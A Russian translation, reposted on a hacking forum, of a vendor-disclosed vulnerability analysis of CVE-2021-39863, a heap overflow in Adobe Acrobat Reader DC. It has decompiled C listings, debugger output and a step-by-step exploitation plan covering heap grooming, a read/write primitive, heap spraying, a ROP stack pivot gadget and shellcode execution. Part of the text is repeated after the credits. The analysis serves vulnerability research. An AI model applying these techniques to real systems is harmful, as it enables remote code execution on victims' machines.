В конце июня мы опубликовали сообщение в блоге, содержащее анализ использования уязвимости переполнения буфера в кучи в Adobe Reader, уязвимости, которая, по нашему мнению, соответствует CVE-2021-21017. Отправной точкой для исследования стал POC, содержащий анализ первопричин. Вскоре после публикации сообщения в блоге мы узнали, что CVE не является авторитетным и что POC был зэро-дэем. Мы сразу взяли сообщение из блога и начали своё расследование.
Дальнейшие исследования показали, что уязвимость продолжает существовать в последней версии и может быть использована только с некоторыми изменениями в нашем эксплойте. Мы сообщили о наших результатах в Adobe. Adobe присвоила этой уязвимости код CVE-2021-39863 (https://helpx.adobe.com/security/products/acrobat/apsb21-55.html) и 14 сентября 2021 года выпустила рекомендации и исправленные версии своих продуктов.
Поскольку эксплойты были очень похожи, этот пост во многом пересекается с ранее удаленным сообщением в блоге. Он анализирует и использует CVE-2021-39863 (https://nvd.nist.gov/vuln/detail/CVE-2021-39863), переполнение буфера кучи в Adobe Acrobat Reader DC до версии 2021.005.20060 включительно.
Этот пост (https://blog.exodusintel.com/2021/0...ree-vulnerability-in-adobe-acrobat-reader-dc/) аналогичен нашему предыдущему посту об Adobe Acrobat Reader, в котором используется уязвимость UAF, которая также возникает при обработке строк Unicode и ANSI.
Обзор
Переполнение буфера в кучи происходит при объединении строки в кодировке ANSI, соответствующей базовому URL-адресу документа PDF. Это происходит, когда встроенный скрипт JavaScript вызывает функции, расположенные в модуле IA32.api, который имеет дело с доступом в Интернет, например this.submitForm и app.launchURL. Когда эти функции вызываются с относительным URL-адресом, кодировка которого отличается от кодировки базового URL-адреса PDF-файла, относительный URL-адрес обрабатывается так, как если бы он имел ту же кодировку, что и путь к PDF-файлу. Это может привести к копированию вдвое большего количества байтов исходной строки ANSI (относительного URL-адреса) в целевой буфер надлежащего размера, что приведет как к чтению за пределы, так и к переполнению буфера кучи.
CVE-2021-39863
Acrobat Reader имеет встроенный движок JavaScript, основанный на Mozilla SpiderMonkey. Встроенный код JavaScript в файлах PDF обрабатывается и выполняется модулем EScript.api (http://web.archive.org/web/20201124...m/en/devnet/acrobat/pdfs/js_api_reference.pdf) в Adobe Reader.
Операции, связанные с доступом в Интернет, обрабатываются модулем IA32.api. Уязвимость возникает в этом модуле, когда URL-адрес создается путем объединения базового URL-адреса PDF-документа и относительного URL-адреса. Этот относительный URL-адрес указывается в качестве параметра при вызове функций JavaScript, которые запускают любой вид доступа в Интернет, например this.submitForm и app.launchURL. В частности, уязвимость возникает, когда кодировка обеих строк различается.
Объединение обеих строк выполняется путем выделения памяти, достаточной для размещения последней строки. Вычисление длины обеих строк выполняется правильно с учетом того, являются ли они ANSI или Unicode. Однако, когда происходит конкатенация, проверяется только базовая кодировка URL-адреса, и считается, что относительный URL-адрес имеет ту же кодировку, что и базовый URL-адрес. Когда относительный URL-адрес закодирован в кодировке ANSI, код, который копирует байты из буфера строки относительного URL-адреса в выделенный буфер, копирует его по два байта за раз, а не только по одному байту за раз. Это приводит к чтению количества байтов, равному длине относительного URL-адреса, из-за пределов исходного буфера и его копированию за пределы целевого буфера той же длины, что приводит как к чтению за пределами диапазона, так и записи за его пределами.
Анализ кода
В следующих блоках кода показаны затронутые части методов, относящиеся к этой уязвимости. Фрагменты кода обозначены метками, обозначенными [N]. Строки, не относящиеся к этой уязвимости, заменяются маркером [Truncated ].
Все листинги кода показывают декомпилированный код C; исходный код недоступен в затронутом продукте. Определения структур получены путем реверс инжиниринга и могут неточно отражать структуры, определенные в исходном коде.
Следующая функция вызывается, когда относительный URL-адрес необходимо объединить с базовым URL-адресом. Помимо конкатенации, он также проверяет действительность обоих URL-адресов.
Перечисленная выше функция получает в качестве параметров строку, соответствующую базовому URL-адресу, и строку, соответствующую относительному URL-адресу, а также два указателя, используемых для возврата данных вызывающей стороне. Два строковых параметра показаны в следующих выходных данных отладчика.
Показанный выше вывод отладчика соответствует выполнению эксплойта. Он показывает содержимое первого и второго параметров (esp+4 и esp+8) функции sub_25817D70. Первый параметр содержит базовый URL-адрес в кодировке Unicode https://google.com/ (обратите внимание на байты 0xfeff в начале строки), а второй параметр содержит строку ASCII, соответствующую относительному URL-адресу. Оба содержат несколько повторяющихся байтов, которые служат заполнением для управления размером выделения, необходимым для их хранения, что полезно для эксплуатации.
В [1] выполняется проверка, является ли второй параметр (т.е. Базовый URL) допустимой строкой в кодировке Unicode UTF-16BE. Если это действительно так, длина этой строки вычисляется в [2] и сохраняется в v78 [1]. Если это недопустимая строка в кодировке UTF-16BE, v78 [1] устанавливается в 0 в [3]. Функция sub_2581890C(), которая вычисляет длину строки Unicode, выполняет дополнительные проверки, чтобы убедиться, что строка, переданная в качестве параметра, является допустимой строкой в кодировке UTF-16BE. В следующем листинге показан декомпилированный код этой функции.
Приведенный выше код возвращает длину строки в кодировке UTF-16BE, переданной в качестве параметра. Кроме того, он неявно выполняет следующие проверки, чтобы убедиться, что строка имеет допустимую кодировку UTF-16BE:
- Строка должна заканчиваться двойным нулевым байтом.
- Слова, составляющие строку, которые не являются терминатором, не должны содержать нулевой байт.
Если какая-либо из вышеперечисленных проверок завершилась неудачно, функция возвращает -1.
Продолжая работу с первой функцией, упомянутой в этом разделе, в [4] уже описанные проверки применяются к первому параметру (то есть относительному URL-адресу). В [5] длина исходной переменной (т.е. Базового URL) вычисляется с учетом ее кодировки. Функция sub_25802A44() - это реализация функции strlen(), которая работает как для строк в кодировке Unicode, так и для строк в кодировке ANSI. В [6] распределение размера переменной Source выполняется путем вызова функции sub_25802CD5(), которая является реализацией известной функции calloc().Затем в [7] содержимое переменной Source копируется в это новое выделение с помощью функции sub_25802D98(), которая является реализацией функции strncpy, которая работает как для строк в кодировке Unicode, так и для строк в кодировке ANSI. Эти операции, выполняемые с переменной Source, одинаково выполняются с переменной lpString (т.е. относительным URL-адресом) в [8], [9] и [10].
Функция в [11], sub_25802400(), получает URL-адрес или его часть и выполняет некоторую проверку и обработку. Эта функция вызывается как для базовых, так и для относительных URL-адресов.
В [12] выполняется выделение размера, необходимого для размещения конкатенации относительного URL-адреса и базового URL-адреса. Предоставленные длины вычисляются в функции, вызываемой в [11]. Для простоты это проиллюстрировано примером: следующие выходные данные отладчика показывают значение параметров для sub_25802CD5, которые соответствуют количеству выделяемых элементов и размеру каждого элемента. В этом случае размер складывается из длины базового и относительного URL.
После этого в [13] базовый URL копируется в память, выделенную для размещения конкатенации, а в [14] его длина вычисляется и предоставляется в качестве параметра для вызова sub_25818C6A. Эта функция реализует конкатенацию строк как для Unicode, так и для строк ANSI. Вызов этой функции в [14] предоставляет базовый URL-адрес в качестве первого параметра, относительный URL-адрес в качестве второго параметра и ожидаемый полный размер конкатенации в качестве третьего. Эта функция указана ниже.
В приведенном выше листинге в [15] вычисляется длина целевой строки. Затем она проверяет, меньше ли длина целевой строки плюс длина исходной строки желаемой длины конкатенации минус один. Если проверка проходит, функция sub_258189D6 вызывается в [16]. В противном случае вызывается функция strncat в [17].
Функция sub_258189D6, вызываемая по адресу [16], реализует фактическую конкатенацию строк, которая работает как для строк Unicode, так и для строк ANSI.
В функции, перечисленной выше, в [18] первый параметр (место назначения) проверяется на наличие маркера спецификации Unicode 0xFEFF. Если строка назначения - Unicode, код переходит к [19]. Здесь исходная строка добавляется в конец целевой строки по два байта за раз. Если строка назначения - ANSI, тогда известная функция lstrcatA вызывается по адресу [20].
Становится ясно, что в случае, если строка назначения - Unicode, а исходная строка - ANSI, для каждого символа строки ANSI фактически копируются два байта. Это вызывает чтение за пределами допустимого размера строки ANSI, которое становится переполнением буфера кучи того же размера после копирования байтов.
Эксплуатация
Теперь мы рассмотрим, как можно использовать эту уязвимость для выполнения произвольного кода.
Для разработки эксплойта использовался Adobe Acrobat Reader DC версии 2021.005.20048 под управлением Windows 10 x64. Обратите внимание, что Adobe Acrobat Reader DC - это 32-разрядное приложение. Успешная стратегия использования эксплойтов должна обходить следующие меры безопасности для цели:
- Рандомизация адресного пространства (ASLR)
- Предотвращение выполнения данных (DEP)
- Защита потока управления (CFG)
Эксплойт не обходит следующие механизмы защиты:
- Control Flow Guard (CFG): CFG должен быть отключен на машине Windows, чтобы этот эксплойт работал. Это можно сделать в настройках защиты от эксплойтов в Windows 10, установив для параметра Control Flow Guard (CFG) значение Off по умолчанию.
Чтобы использовать эту уязвимость в обход ASLR и DEP, принята следующая стратегия:
1. Подготовьте макет кучи, чтобы можно было контролировать области памяти, смежные с выделениями, сделанными для базового URL-адреса и относительного URL-адреса. Это включает в себя выполнение достаточного количества выделений, чтобы активировать корзину с низкой фрагментацией кучи для двух размеров, и достаточное количество выделений, чтобы полностью уместиться в UserBlock. Выделения с тем же размером, что и базовое выделение URL-адреса, должны содержать объект ArrayBuffer, тогда как выделения с тем же размером, что и относительный URL-адрес, должны иметь данные, необходимые для перезаписи поля byteLength одного из этих объектов ArrayBuffer со значением 0xffff.
2. Создайте дыры в UserBlock, аннулировав ссылку на некоторые из недавно выделенных блоков памяти.
3. Запустите сборщик мусора, чтобы освободить блоки памяти, на которые ссылаются обнуленные объекты. Это дает место для базового URL-адреса и относительного размещения URL-адресов.
4. Запустите уязвимость переполнения буфера кучи, чтобы данные в блоке памяти, смежном с относительным URL-адресом, были скопированы в блок памяти, смежный с базовым URL-адресом.
5.Если все сработало, на шаге 4 должно было быть перезаписано значение byteLength одного из контролируемых объектов ArrayBuffer. Когда объект DataView создается в поврежденном буфере ArrayBuffer, можно читать и записывать память за пределами базового выделения. Это обеспечивает точный способ перезаписи byteLength следующего ArrayBuffer значением 0xffffffff. Создание объекта DataView на этом последнем ArrayBuffer позволяет произвольно читать и записывать память, но относительно того, где находится ArrayBuffer.
6. Используя построенный примитив R/W, обойдите структуру NT Heap, чтобы определить BusyBitmap. Указатель буфера. Это позволяет узнать абсолютный адрес поврежденного ArrayBuffer и построить произвольный примитив чтения и записи, который позволяет читать и записывать по абсолютным адресам.
7. Чтобы обойти DEP, необходимо повернуть стек в контролируемую область памяти. Это делается с помощью гаджета ROP, который записывает фиксированное значение в регистр ESP.
8. Обработайте кучу объектами ArrayBuffer правильного размера, чтобы они находились рядом друг с другом. Это должно разместить контролируемое выделение по адресу, указанному гаджетом ROP с поворотом стека.
9. Используйте произвольное чтение и запись для записи шелл-кода в контролируемую область памяти и для записи цепочки ROP для выполнения VirtualProtect, чтобы разрешить выполнение в области памяти, где был записан шелл-код.
10. Перезаписать указатель функции объекта DataView, используемого в примитиве чтения и записи, и запустить его вызов, чтобы захватить поток выполнения.
В следующих подразделах разбивается код эксплойта с пояснениями для лучшего понимания.
Подготовка макета кучи
Размер строк, связанных с этой уязвимостью, можно контролировать. Это удобно, поскольку позволяет выбрать правильный размер для каждого из них, чтобы они обрабатывались кучей с низкой фрагментацией (https://web.archive.org/web/20210419095256/http://www.illmatics.com/Understanding_the_LFH.pdf). Внутренняя работа кучи с низкой фрагментацией (LFH) может быть использована для повышения детерминизма структуры памяти, необходимой для использования этой уязвимости. Выбор размера, который не используется в программе, позволяет полностью контролировать активацию соответствующего ему сегмента LFH и выполнять точное количество выделений, необходимых для размещения одного блока UserBlock.
Фрагменты памяти в UserBlock возвращаются пользователю случайным образом при выполнении выделения. Идеальная компоновка, необходимая для использования этой уязвимости, - это наличие свободных фрагментов, смежных с контролируемыми фрагментами, поэтому, когда выделяются строки, необходимые для запуска уязвимости, они попадают в один из этих свободных фрагментов.
Для создания такого макета выделяются 0xd + 0x11 ArrayBuffers размером 0x2608-0x10-0x8. Первые выделения 0x11 используются для включения корзины LFH, а следующие выделения 0xd используются для заполнения UserBlock (обратите внимание, что количество фрагментов в первом UserBlock для этого размера корзины не всегда равно 0xd, поэтому этот метод не является 100%. эффективный). Размер ArrayBuffer выбран таким образом, чтобы базовое выделение было размером 0x2608 (включая метаданные блока), что соответствует корзине LFH, не используемой приложением.
Затем выполняется та же процедура, но вместо выделения ArrayBuffers выделяются строки, размер базового выделения которых равен 0x2408. Количество распределений, подходящих для UserBlock для этого размера, может быть 0xe.
Строки должны содержать байты, необходимые для перезаписи свойства byteLength объекта ArrayBuffer, которое повреждено при срабатывании уязвимости. Значение, которое перезапишет свойство byteLength, равно 0xffff. Это не позволяет использовать ArrayBuffer для чтения и записи всего диапазона адресов памяти в процессе. Кроме того, невозможно напрямую перезаписать byteLength значением 0xffffffff, поскольку это потребовало бы перезаписи указателя его объекта DataView ненулевым значением, что могло бы повредить его и нарушить его функциональность. Вместо этого запись только 0xffff позволяет избежать перезаписи указателя объекта DataView, сохраняя его функциональность неизменной, поскольку два крайних левых нулевых байта будут считаться указателем конца строки Unicode во время операции конкатенации.
В листинге выше распределения ArrayBuffer создаются в [1]. Затем в [2] два указателя на созданные выделения обнуляются, чтобы попытаться создать свободные фрагменты, окруженные контролируемыми фрагментами.
В [3] и [4] те же шаги выполняются с выделенными строками.
Активация уязвимости
Запустить уязвимость так же просто, как вызвать функцию JavaScript app.launchURL. Внутренне относительный URL-адрес, предоставленный в качестве параметра, объединяется с базовым URL-адресом, определенным в каталоге PDF-документов, таким образом выполняя уязвимую функцию, описанную в разделе "Анализ кода" этой публикации.
Размер выделения, содержащего относительную строку URL-адреса, должен быть таким же, как тот, который использовался при подготовке макета кучи, чтобы он занимал одно из освобожденных мест и, в идеале, имел контролируемое выделение рядом с ним.
Получение произвольного примитива чтения/записи
Когда правильный макет кучи будет успешно достигнут и уязвимость сработает, свойство ArrayBuffer byteLength будет повреждено со значением 0xffff. Это позволяет записывать данные за пределами выделения базовой памяти и перезаписывать свойство byteLength следующего ArrayBuffer. Наконец, создание объекта DataView в этом последнем поврежденном буфере позволяет относительным образом читать и записывать весь диапазон адресов памяти процесса.
Чтобы иметь возможность читать и писать по абсолютным адресам, необходимо получить адрес памяти поврежденного ArrayBuffer. Один из способов сделать это - использовать структуры метаданных NT Heap для утечки указателя на ту же структуру. Важно, чтобы заголовок блока содержал номер блока и чтобы все блоки в UserBlock были последовательными и смежными. Кроме того, размер фрагментов известен, поэтому можно вычислить расстояние от источника относительного примитива чтения и записи до указателя на утечку. Аналогичным образом, поскольку расстояние известно, после утечки указателя расстояние можно вычесть из него, чтобы получить адрес источника примитива чтения и записи.
Следующая функция реализует процесс, описанный в этом подразделе.
Функция выше в [1] пытается найти исходный поврежденный ArrayBuffer и использовать его для повреждения соседнего ArrayBuffer. В [2] он пытается найти недавно поврежденный ArrayBuffer и построить относительный произвольный примитив чтения и записи, создав на нем объект DataView. Наконец, в [3] реализован вышеупомянутый метод получения абсолютного адреса источника относительного примитива чтения и записи.
Как только адрес источника примитива чтения и записи известен, можно использовать следующие вспомогательные функции для чтения и записи по любому адресу процесса, который имеет отображенную память.
Распыление объектов ArrayBuffer
Метод распыления кучи ( http://web.archive.org/web/20201122...g-tutorial-part-11-heap-spraying-demystified/)
выполняет большое количество контролируемых выделений с намерением иметь смежные области управляемой памяти. Ключом к получению смежных областей памяти является выделение определенного размера.
В JavaScript удобный способ выделения памяти в куче, содержимое которой полностью контролируется, - это использование объектов ArrayBuffer (http://web.archive.org/web/20201122...vaScript/Reference/Global_Objects/ArrayBuffer). Память, выделенная для этих объектов, может быть прочитана и записана с использованием объектов DataView (http://web.archive.org/web/20201122.../JavaScript/Reference/Global_Objects/DataView).
Чтобы получить распределение кучи правильного размера, необходимо учитывать метаданные объектов ArrayBuffer и фрагментов кучи. Внутреннее представление объектов ArrayBuffer (http://web.archive.org/web/20201122161834/https://vigneshsrao.github.io/play-with-spidermonkey/) сообщает, что размер метаданных составляет 0x10 байт. Размер метаданных занятого фрагмента кучи составляет 8 байтов.
Поскольку цель состоит в том, чтобы смежные области памяти были заполнены контролируемыми данными, выполняемые распределения должны иметь тот же размер, что и размер сегмента кучи, который составляет 0x10000 байт. Следовательно, объекты ArrayBuffer, созданные во время распыления кучи, должны иметь размер 0xffe8 байтов.
Перечисленная выше функция эксплойта выполняет распыление ArrayBuffer. Общий размер распыления, определенный в [1], был определен путем установки числа, достаточно большого, чтобы ArrayBuffer был выделен по выбранному предсказуемому адресу, определяемому используемым гаджетом ROP поворота стека.
Целью этих распределений является наличие управляемой области памяти по адресу, по которому стек перемещается после выполнения разворота стека. Эту область можно использовать для подготовки вызова VirtualProtect (http://web.archive.org/web/20210416...n32/api/memoryapi/nf-memoryapi-virtualprotect) для включения разрешений на выполнение на странице памяти, где был написан шелл-код.
Подмена потока выполнения и выполнение произвольного кода
Имея возможность произвольно читать и писать в память, следующие шаги - подготовка шелл-кода, его запись и выполнение. Снижения безопасности, присутствующие в приложении, определяют необходимую стратегию и методы. ASLR и DEP форсируют использование возвратно-ориентированного программирования (ROP) в сочетании с утечкой указателей на соответствующие модули.
С учетом этого стратегия может быть следующей:
1. Получите указатели на соответствующие модули для вычисления их базовых адресов.
2. Переместите стек в область памяти под нашим контролем, куда можно записать адреса устройств ROP.
3. Запишите шелл-код.
4. Вызовите VirtualProtect, чтобы изменить права доступа к области памяти шеллкода, чтобы разрешить выполнение.
5. Перезаписать указатель функции, который можно будет вызвать позже из JavaScript.
Следующие функции используются при реализации указанной стратегии.
В листинге кода выше функция [1] получает базовые адреса модулей EScript.api и kernel32.dll, которые необходимы для использования уязвимости с текущей стратегией. Функция [2] используется для подготовки содержимого перемещенного стека, так что после выполнения разворота стека все готово. В частности, в [3] записаны адрес шеллкода и параметры VirtualProtect. Адрес шелл-кода соответствует адресу возврата, который восстановит команда ret VirtualProtect, перенаправляя, таким образом, поток выполнения на шелл-код. Шелл-код записан в [4].
Наконец, в [5] указатель функции getProperty контролируемого объекта DataView перезаписывается адресом гаджета ROP, используемого для поворота стека, и осуществляется доступ к свойству объекта, которое запускает выполнение getProperty.
Используемый гаджет поворота стека взят из модуля EScript.api и указан ниже:
0x2382de29: mov esp, 0x5d0013c2; ret;
Когда выполняются перечисленные выше инструкции, стек будет перемещен в 0x5d0013c2, где будет ранее подготовленное распределение.
Заключение
Мы надеемся, что вам понравилось читать этот анализ переполнения буфера кучи и вы узнали что-то новое. Если вы жаждете большего, просмотрите другие сообщения в нашем блоге https://blog.exodusintel.com
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://blog.exodusintel.com/2021/1...w-vulnerability-in-adobe-acrobat-reader-dc-2/
Дальнейшие исследования показали, что уязвимость продолжает существовать в последней версии и может быть использована только с некоторыми изменениями в нашем эксплойте. Мы сообщили о наших результатах в Adobe. Adobe присвоила этой уязвимости код CVE-2021-39863 (https://helpx.adobe.com/security/products/acrobat/apsb21-55.html) и 14 сентября 2021 года выпустила рекомендации и исправленные версии своих продуктов.
Поскольку эксплойты были очень похожи, этот пост во многом пересекается с ранее удаленным сообщением в блоге. Он анализирует и использует CVE-2021-39863 (https://nvd.nist.gov/vuln/detail/CVE-2021-39863), переполнение буфера кучи в Adobe Acrobat Reader DC до версии 2021.005.20060 включительно.
Этот пост (https://blog.exodusintel.com/2021/0...ree-vulnerability-in-adobe-acrobat-reader-dc/) аналогичен нашему предыдущему посту об Adobe Acrobat Reader, в котором используется уязвимость UAF, которая также возникает при обработке строк Unicode и ANSI.
Обзор
Переполнение буфера в кучи происходит при объединении строки в кодировке ANSI, соответствующей базовому URL-адресу документа PDF. Это происходит, когда встроенный скрипт JavaScript вызывает функции, расположенные в модуле IA32.api, который имеет дело с доступом в Интернет, например this.submitForm и app.launchURL. Когда эти функции вызываются с относительным URL-адресом, кодировка которого отличается от кодировки базового URL-адреса PDF-файла, относительный URL-адрес обрабатывается так, как если бы он имел ту же кодировку, что и путь к PDF-файлу. Это может привести к копированию вдвое большего количества байтов исходной строки ANSI (относительного URL-адреса) в целевой буфер надлежащего размера, что приведет как к чтению за пределы, так и к переполнению буфера кучи.
CVE-2021-39863
Acrobat Reader имеет встроенный движок JavaScript, основанный на Mozilla SpiderMonkey. Встроенный код JavaScript в файлах PDF обрабатывается и выполняется модулем EScript.api (http://web.archive.org/web/20201124...m/en/devnet/acrobat/pdfs/js_api_reference.pdf) в Adobe Reader.
Операции, связанные с доступом в Интернет, обрабатываются модулем IA32.api. Уязвимость возникает в этом модуле, когда URL-адрес создается путем объединения базового URL-адреса PDF-документа и относительного URL-адреса. Этот относительный URL-адрес указывается в качестве параметра при вызове функций JavaScript, которые запускают любой вид доступа в Интернет, например this.submitForm и app.launchURL. В частности, уязвимость возникает, когда кодировка обеих строк различается.
Объединение обеих строк выполняется путем выделения памяти, достаточной для размещения последней строки. Вычисление длины обеих строк выполняется правильно с учетом того, являются ли они ANSI или Unicode. Однако, когда происходит конкатенация, проверяется только базовая кодировка URL-адреса, и считается, что относительный URL-адрес имеет ту же кодировку, что и базовый URL-адрес. Когда относительный URL-адрес закодирован в кодировке ANSI, код, который копирует байты из буфера строки относительного URL-адреса в выделенный буфер, копирует его по два байта за раз, а не только по одному байту за раз. Это приводит к чтению количества байтов, равному длине относительного URL-адреса, из-за пределов исходного буфера и его копированию за пределы целевого буфера той же длины, что приводит как к чтению за пределами диапазона, так и записи за его пределами.
Анализ кода
В следующих блоках кода показаны затронутые части методов, относящиеся к этой уязвимости. Фрагменты кода обозначены метками, обозначенными [N]. Строки, не относящиеся к этой уязвимости, заменяются маркером [Truncated ].
Все листинги кода показывают декомпилированный код C; исходный код недоступен в затронутом продукте. Определения структур получены путем реверс инжиниринга и могут неточно отражать структуры, определенные в исходном коде.
Следующая функция вызывается, когда относительный URL-адрес необходимо объединить с базовым URL-адресом. Помимо конкатенации, он также проверяет действительность обоих URL-адресов.
C:
__int16 __cdecl sub_25817D70(wchar_t *Source, CHAR *lpString, char *String, _DWORD *a4, int *a5)
{
__int16 v5; // di
wchar_t *v6; // ebx
CHAR *v7; // eax
CHAR v8; // dl
__int64 v9; // rax
wchar_t *v10; // ecx
__int64 v11; // rax
int v12; // eax
int v13; // eax
int v14; // eax
[Truncated]
v77 = 0;
v76 = 0;
v5 = 1;
*(_QWORD *)v78 = 0i64;
*(_QWORD *)iMaxLength = 0i64;
v6 = 0;
v49 = 0;
v62 = 0;
v74 = 0;
if ( !a5 )
return 0;
*a5 = 0;
v7 = lpString;
[1]
if ( lpString && *lpString && (v8 = lpString[1]) != 0 && *lpString == (CHAR)0xFE && v8 == (CHAR)0xFF )
{
[2]
v9 = sub_2581890C(lpString);
v78[1] = v9;
if ( (HIDWORD(v9) & (unsigned int)v9) == -1 )
{
LABEL_9:
*a5 = -2;
return 0;
}
v7 = lpString;
}
else
{
[3]
v78[1] = v78[0];
}
v10 = Source;
if ( !Source || !v7 || !String || !a4 )
{
*a5 = -2;
goto LABEL_86;
}
[4]
if ( *(_BYTE *)Source != 0xFE )
goto LABEL_25;
if ( *((_BYTE *)Source + 1) == 0xFF )
{
v11 = sub_2581890C(Source);
iMaxLength[1] = v11;
if ( (HIDWORD(v11) & (unsigned int)v11) == -1 )
goto LABEL_9;
v10 = Source;
v12 = iMaxLength[1];
}
else
{
v12 = iMaxLength[0];
}
[5]
if ( *(_BYTE *)v10 == 0xFE && *((_BYTE *)v10 + 1) == 0xFF )
{
v13 = v12 + 2;
}
else
{
LABEL_25:
v14 = sub_25802A44((LPCSTR)v10);
v10 = v37;
v13 = v14 + 1;
}
iMaxLength[1] = v13;
[6]
v15 = (CHAR *)sub_25802CD5(v10, 1, v13);
v77 = v15;
if ( !v15 )
{
*a5 = -7;
return 0;
}
[7]
sub_25802D98(v38, (wchar_t *)v15, Source, iMaxLength[1]);
[8]
if ( *lpString == (CHAR)0xFE && lpString[1] == (CHAR)0xFF )
{
v17 = v78[1] + 2;
}
else
{
v18 = sub_25802A44(lpString);
v16 = v39;
v17 = v18 + 1;
}
v78[1] = v17;
[9]
v19 = (CHAR *)sub_25802CD5(v16, 1, v17);
v76 = v19;
if ( !v19 )
{
*a5 = -7;
LABEL_86:
v5 = 0;
goto LABEL_87;
}
[10]
sub_25802D98(v40, (wchar_t *)v19, (wchar_t *)lpString, v78[1]);
if ( !(unsigned __int16)sub_258033CD(v77, iMaxLength[1], a5) || !(unsigned __int16)sub_258033CD(v76, v78[1], a5) )
goto LABEL_86;
[11]
v20 = sub_25802400(v77, v42);
if ( v20 || (v20 = sub_25802400(v76, v50)) != 0 )
{
*a5 = v20;
goto LABEL_86;
}
if ( !*(_BYTE *)Source || (v21 = v42[0], v50[0] != 5) && v50[0] != v42[0] )
{
v35 = sub_25802FAC(v50);
v23 = a4;
v24 = v35 + 1;
if ( v35 + 1 > *a4 )
goto LABEL_44;
*a4 = v35;
v25 = v50;
goto LABEL_82;
}
if ( *lpString )
{
v26 = v55;
v63[1] = v42[1];
v63[2] = v42[2];
v27 = v51;
v63[0] = v42[0];
v73 = 0i64;
if ( !v51 && !v53 && !v55 )
{
if ( (unsigned __int16)sub_25803155(v50) )
{
v28 = v44;
v64 = v42[3];
v65 = v42[4];
v66 = v42[5];
v67 = v42[6];
v29 = v43;
if ( v49 == 1 )
{
v29 = v43 + 2;
v28 = v44 - 1;
v43 += 2;
--v44;
}
v69 = v28;
v68 = v29;
v70 = v45;
if ( v58 )
{
if ( *v59 != 47 )
{
[12]
v6 = (wchar_t *)sub_25802CD5((wchar_t *)(v58 + 1), 1, v58 + 1 + v46);
if ( !v6 )
{
v23 = a4;
v24 = v58 + v46 + 1;
goto LABEL_44;
}
if ( v46 )
{
[13]
sub_25802D98(v41, v6, v47, v46 + 1);
if ( *((_BYTE *)v6 + v46 - 1) != 47 )
{
v31 = sub_25818D6E(v30, (char *)v6, 47);
if ( v31 )
*(_BYTE *)(v31 + 1) = 0;
else
*(_BYTE *)v6 = 0;
}
}
if ( v58 )
{
[14]
v32 = sub_25802A44((LPCSTR)v6);
sub_25818C6A((char *)v6, v59, v58 + 1 + v32);
}
sub_25802E0C(v6, 0);
v71 = sub_25802A44((LPCSTR)v6);
v72 = v6;
goto LABEL_75;
}
v71 = v58;
v72 = v59;
}
[Truncated]
LABEL_87:
if ( v77 )
(*(void (__cdecl **)(LPCSTR))(dword_25824098 + 12))(v77);
if ( v76 )
(*(void (__cdecl **)(LPCSTR))(dword_25824098 + 12))(v76);
if ( v6 )
(*(void (__cdecl **)(wchar_t *))(dword_25824098 + 12))(v6);
return v5;
}
Перечисленная выше функция получает в качестве параметров строку, соответствующую базовому URL-адресу, и строку, соответствующую относительному URL-адресу, а также два указателя, используемых для возврата данных вызывающей стороне. Два строковых параметра показаны в следующих выходных данных отладчика.
Код:
IA32!PlugInMain+0x168b0:
63ee7d70 55 push ebp
0:000> dd poi(esp+4) L84
093499c8 7468fffe 3a737074 6f672f2f 656c676f
093499d8 6d6f632e 4141412f 41414141 41414141
093499e8 41414141 41414141 41414141 41414141
093499f8 41414141 41414141 41414141 41414141
[Truncated]
09349b98 41414141 41414141 41414141 41414141
09349ba8 41414141 41414141 41414141 41414141
09349bb8 41414141 41414141 41414141 2f2f3a41
09349bc8 00000000 0009000a 00090009 00090009
0:000> da poi(esp+4) L84
093499c8 "..https://google.com/AAAAAAAAAAA"
093499e8 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
09349a08 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
09349a28 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
09349a48 "AAAA"
0:000> dd poi(esp+8)
0b943ca8 61616262 61616161 61616161 61616161
0b943cb8 61616161 61616161 61616161 61616161
0b943cc8 61616161 61616161 61616161 61616161
0b943cd8 61616161 61616161 61616161 61616161
0b943ce8 61616161 61616161 61616161 61616161
0b943cf8 61616161 61616161 61616161 61616161
0b943d08 61616161 61616161 61616161 61616161
0b943d18 61616161 61616161 61616161 61616161
0:000> da poi(esp+8)
0b943ca8 "bbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943cc8 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943ce8 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943d08 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
[Truncated]
0b943da8 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943dc8 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943de8 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
0b943e08 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
Показанный выше вывод отладчика соответствует выполнению эксплойта. Он показывает содержимое первого и второго параметров (esp+4 и esp+8) функции sub_25817D70. Первый параметр содержит базовый URL-адрес в кодировке Unicode https://google.com/ (обратите внимание на байты 0xfeff в начале строки), а второй параметр содержит строку ASCII, соответствующую относительному URL-адресу. Оба содержат несколько повторяющихся байтов, которые служат заполнением для управления размером выделения, необходимым для их хранения, что полезно для эксплуатации.
В [1] выполняется проверка, является ли второй параметр (т.е. Базовый URL) допустимой строкой в кодировке Unicode UTF-16BE. Если это действительно так, длина этой строки вычисляется в [2] и сохраняется в v78 [1]. Если это недопустимая строка в кодировке UTF-16BE, v78 [1] устанавливается в 0 в [3]. Функция sub_2581890C(), которая вычисляет длину строки Unicode, выполняет дополнительные проверки, чтобы убедиться, что строка, переданная в качестве параметра, является допустимой строкой в кодировке UTF-16BE. В следующем листинге показан декомпилированный код этой функции.
C:
int __cdecl sub_2581890C(char *a1)
{
char *v1; // eax
char v2; // cl
int v3; // esi
char v4; // bl
char *v5; // eax
int result; // eax
v1 = a1;
if ( !a1 || *a1 != (char)0xFE || a1[1] != (char)0xFF )
goto LABEL_12;
v2 = 0;
v3 = 0;
do
{
v4 = *v1;
v5 = v1 + 1;
if ( !v5 )
break;
v2 = *v5;
v1 = v5 + 1;
if ( !v4 )
goto LABEL_10;
if ( !v2 )
break;
v3 += 2;
}
while ( v1 );
if ( v4 )
goto LABEL_12;
LABEL_10:
if ( !v2 )
result = v3;
else
LABEL_12:
result = -1;
return result;
}
